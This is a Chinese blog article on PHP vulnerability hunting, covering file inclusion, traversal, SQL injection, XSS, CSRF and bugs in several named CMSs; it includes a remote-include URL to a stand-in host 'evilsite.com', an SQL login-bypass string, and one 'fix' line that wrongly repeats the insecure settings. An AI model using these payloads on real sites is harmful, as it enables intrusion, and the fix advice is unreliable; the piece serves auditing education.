php越权执行命令漏洞_PHP漏洞挖掘思路+实例 第二章
0x00 背景
感谢各位的评论与讨论,经过研讨的地方在文章中标出。
补充之前第一篇文章中思路,重新加入了最近发现的一些实例(也有部分来自wooyun上的牛人们已公开的漏洞,漏洞归属原作者并均在文章内标明)
在文章中的测试条件下,我们的配置默认是这样子的:
safe_mode = off (避免各种奇奇怪怪的失败);disabled_functions = N/A ( 可以使用全部函数,免得莫名其妙的不能用 );register_globals = on ( 注册全局变量 );allow_url_include = on ( 文件包含时的限制,如果关了就不能远程 ); allow_url_fopen = on ( 文件打开的限制,还是开着吧 ) ;magic_quotes_gpc = off ( 转义引号和划线和空字符,比如” 变成“ );short_tag_open = on ( 部分脚本会用到 ) ;file_uploads = on ( 任意文件上传需要……允许上传文件 ); display_errors = on ( 自己测试时方便,找错误 ) 。
**
0x01 任意文件包含
**
前提:允许url_include,否则就需要上传到绝对路径。
提示:可以使用空字节(截断)的技巧,和“?”问号的使用技巧。
php中有四个函数与文件包含有关:
require require_once 只包含一次 include include_once 只包含一次。
使用空字节的例子:
使用“?”问号的例子:
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
如何修复:allow_url_include = on allow_url_fopen = on
简单来说:不要允许特殊字符出现,过滤“/”,或者过滤http,https,ftp和SMB
再举一个乌云上Frears的例子:
还有一些特殊的思路,比如Joker的构造:
挖掘的可能方法:全局搜索四个函数,先只管出现在文件中间的require等前后文是否有严格的验证,之后在通读时注意文件前部的include。
**
0x02 本地文件包含
**
提示:在windows系统下面我们可以用 ".." 来代替 "../" 即 "..%5C" ( url编码后 )。
利用的例子:
修复方式:过滤点和斜杠。
**
0x03 任意文件下载
**
前提:url_fopen为on时才能打开远程文件,但一般意义上的任意文件下载不是“远程“的,
相比上一篇文章补充:
file_get_contents 读取整个文件到字符串中;readfile 显示整个文件;file 读进数组;fopen 打开文件或URL; highlight_file 高亮显示源码;show_source 显示源代码。
例子同上一篇文章。
**
0x04 SQL注入
**
前提:magic_quotes_gpc = off 当然指的是字符型的注射,如果是数字型就仍然可以盲注。
补充登陆绕过的情况:
这时利用时会方便很多:username : admin ' or ' 1=1 password : sirgod
挖掘方法:在登陆逻辑处发现注射,不急着跑表,可以考虑绕过登陆。
**
0x05 命令执行
**
具体请参考《高级PHP应用程序漏洞审核技术》(Ph4nt0m Security Team)
**
0x06 跨站脚本漏洞XSS
**
fromCharCode用来绕过addslashes。
挖掘方法:关注负责输出的代码,牢记之前程序处理变量的一般逻辑(过滤html标签的力度?)。
**
0x07 变量覆盖
**
前提:需要register_gloabals = on
免认证即登陆。
**
0x08 admin节点可被越权访问
**
http://127.0.0.1/admin/files.php http://127.0.0.1/admin/db_lookup.php
http://127.0.0.1/admin/files.php http://127.0.0.1/admin/db_lookup.php
若是无身份验证直接就能访问,可能存在此漏洞。
挖掘方法:先开register_gloabals = on ,然后留意第一次出现的变量。
**
0x09 跨站点请求伪造CSRF
**
前提:没有token 一般结合XSS来做。
会导致文件删除,当然,需要过check_auth,不过在CSRF下不是问题,
关键是在于操作没有任何类型的确认,只要提交请求即可见效。
**
0x10 参考文献
**
部分内容参考自【英文】 http://www.exploit-db.com/papers/12871/ Name : Finding vulnerabilities in PHP scripts FULL ( with examples ) Author : SirGod
以下是最新自己发现的例子
**
0x11 CSCMS V3.5 最新版 SQL注射
**
**
0x12 MacCMS 全版本通杀SQL注射(包括最新7.x)
**
也是重构了代码,加入了360的防护脚本,其实在我发上一个漏洞(6.x)时这个7.x刚好发布,我稍微看了一眼,发现有360防护脚本后就不看了,以为他们肯定全都过滤掉了,直到…… 比较有趣的是他们根本没有在referer上使用360的获取方式,而是直接return $_SERVER["HTTP_REFERER"]; 了 因此提醒大家,代码审计就是要仔细,就是要有超人般的耐心,不要想当然。
**
0x13 WanCMS 可修改任意用户密码
**
终于又发现了一个敏感业务逻辑上的漏洞
唠叨两句密码学:
MD5、SHA 是哈希函数,知道$a后容易知道md5($a),而知道md5($a)难以恢复$a Des 是对称密码,加解密使用同一个密钥。
这里的密码重置链接 使用的是MD5(两遍),但是用户名我们是知道的,因此直接就能伪造,这也说明了md5并不是用来加密的,应该用DES或者……更常见的方法是MD5中的用户名再加入密码和随机数,或者干脆随机一串字符好了。
**
0x14 WanCMS 多处SQL注射
**
又是一个框架中注射的例子......
之前username没有过滤,虽然看着和带着SELECT的完整SQL语句有区别,但是效果是一样的
**
0x15 CSCMS V3.5 最新补丁后又一个SQL注射
**
这个就是一个厂商漏补的addslash+无引号盲注但是比较有新意的是,他们好像有一阵是用的magic_quotes_gpc来处理的,只是给数字补上了好多的引号,而且还漏了几个……
**
0x16 TCCMS (最新)8.0 后台GETSHELL
**
任意文件上传,前提是upload为ON。
居然直接从POST里面取。
一般情况下应该是uuid随机数名称,或者至少去不可见字符强加后缀。
直接从POST中取值的下场就是任意文件上传。
**
0x17 iSiteCMS发布安全补丁后仍然有几处注射漏洞
**
这个注射有一个特别之处,就是过滤了逗号(,),因此跑表时非常不顺利,需要想其他的方法来验证危害
没错,这一句干掉了逗号。
解决方案:不跑表了,试着构造错误回显(因为常规那页面是没有回显的)直接爆管理员密码。
思路总结:变量到达第一个注射语句没有逗号无法突破无法回显,坚持继续读,程序能继续运行,然后发现下面还有一句也会被注射到,然后注射到的结果又拼接到另一个SQL语句中,而报错又是开启状态,因此构造一下在SQL报错的地方回显出密码。
**
0x18 CSCMS V3.5 最新版 后台命令执行GETSHELL
**
php越权执行命令漏洞_PHP漏洞挖掘思路+实例 第二章相关推荐
- 常见支付漏洞挖掘思路
今天继续给大家介绍渗透测试相关知识,本文主要内容是常见支付漏洞挖掘思路. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负! 再次强调:严禁对未授权 ...
- 命令执行——命令执行漏洞概述(一)
普及内容 了解命令执行定义 了解命令执行条件 掌握命令执行成因 了解命令执行危害 掌握命令执行实例 掌握管道符号和通用命令符 了解命令执行常见场景 基础概念 命令执行定义 基本定义 命令执行漏洞是指攻 ...
- php mail执行命令,PHPMailer 命令执行 任意文件读取漏洞利用 【含POC】
PHPMailer 命令执行漏洞(CVE-2016-10033) 漏洞编号:CVE-2016-10033 影响版本:PHPMailer< 5.2.18 漏洞级别: 高危 漏洞POC: PHPMa ...
- war包启动命令_【漏洞预警】Oracle WebLogic远程命令执行0day漏洞(CVE20192725补丁绕过)...
概述 近日,奇安信天眼与安服团队通过数据监控发现,野外出现Oracle WebLogic远程命令执行漏洞最新利用代码,此攻击利用绕过了厂商今年4月底所发布的最新安全补丁(CVE-2019-2725). ...
- 紧急:Spring框架被爆出存在0day级别远程命令执行漏洞。漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响。该漏洞目前无官方修复补丁
Spring框架被爆出存在0day级别远程命令执行漏洞.漏洞危害程度不亚于log4j漏洞根据目前掌握的信息,JDK版本在9及以上的Spring框架均受影响. 漏洞信息和漏洞影响排查方法如下: 漏洞名称 ...
- pikachu RCE(remote command/code execute)(远程命令执行/远程代码执行)(皮卡丘漏洞平台通关系列)
目录 一.官方介绍 二.诚意推荐 三.悠闲通关 第1关 exec "ping" 第2关 exec "eval" 一.官方介绍 本节引用内容来源pikachu漏洞 ...
- 命令执行(RCE)漏洞
RCE简介 RCE(remote command/code execute):远程命令/代码执行. 命令执行漏洞: 直接调用操作系统命令. 代码执行漏洞: 靠执行脚本代码调用操作系统命令. 原因:在W ...
- xss挖掘思路分享_新手指南 | permeate靶场漏洞挖掘思路分享
简介 最近在逛码云时候发现permeat靶场系统,感觉界面和业务场景设计的还不错.所以过来分享一下. 同时也是分享一下我平时挖掘漏洞的一些思路吧,这篇文章里虽然只简单介绍其中三种漏洞类型,但也是想是一 ...
- fastjson反序列化漏洞_漏洞预警Fastjson再爆反序列化代码执行漏洞;星巴克被发现存在信息泄露风险...
漏洞预警 Fastjson再次爆出通杀的反序列化代码执行漏洞 漏洞信息 据态势感知平台监测,网络上再次出现此前未曾发现的fastjson反序列化攻击向量. Fastjson是由阿里巴巴推出基于Java ...
最新文章
- AI时代竟有智能化鸿沟,具备哪些条件才能跨过?
- 【Python】Python+Matplotlib+LaTeX玩转数学公式
- 树莓派 st-link master使用ST-LINK V2下载STM32程序 支持F0 F1 F2 等
- leetcode 《简单》 设计问题 Python实现
- tar:归档中找不到 tar: 由于前次错误,将以上次的错误状态退出
- 竞价实例-让ESS省上加省
- 光谱数据处理及定量分析
- [Hadoop] - Win7下提交job到集群上去
- Photoshop制作印章效果
- 集成运算放大器的应用——放大、加减、跟随、(滞回)比较器、阻抗匹配
- Win7获取目录或文件trustedinstaller权限的方法
- Android 在系统启动时设置声卡权限,[RK3288][Android7.1]强制使用默认声卡播放声音...
- ios订阅的升级和降级
- 关于华硕电脑进入bios
- 做笔记的方法—— 推荐笔记方法Word方式
- 支付宝扫码跳转到跳转页面
- 【linux】已加载插件:fastestmirror, langpacks Loading mirror speeds from cached hostfile
- buck dcm占空比计算_如何计算BOOST转换器的占空比
- 微信群发工具-含源代码分享
- 英文外链怎么做效果好?
热门文章
- 相机景深什么意思_景深预览按钮在相机上有什么作用?
- python 三大器
- 全志A40I方案 全志A40I方案定制 全志A40I软硬件设计定制 全志A40i性能如何
- IOS小组件(4-2):创建可配置小组件(动态修改配置数据)
- 室内空气流动原理图_新风系统工作原理图—新风系统工作原理介绍
- 未来五年最赚钱的不是股市、房地产,而是......
- c9计算机专业考研哪个容易,二本考研考C9是什么难度?有可能吗?
- 苹果刷机验证服务器异常,iPhone刷机报错怎么办?你需要这份iPhone报错代码故障判断...
- C++第一天(编写第一个程序,变量与常量)
- 小傻蛋的妹妹跟随小甲鱼学习Python的第九节009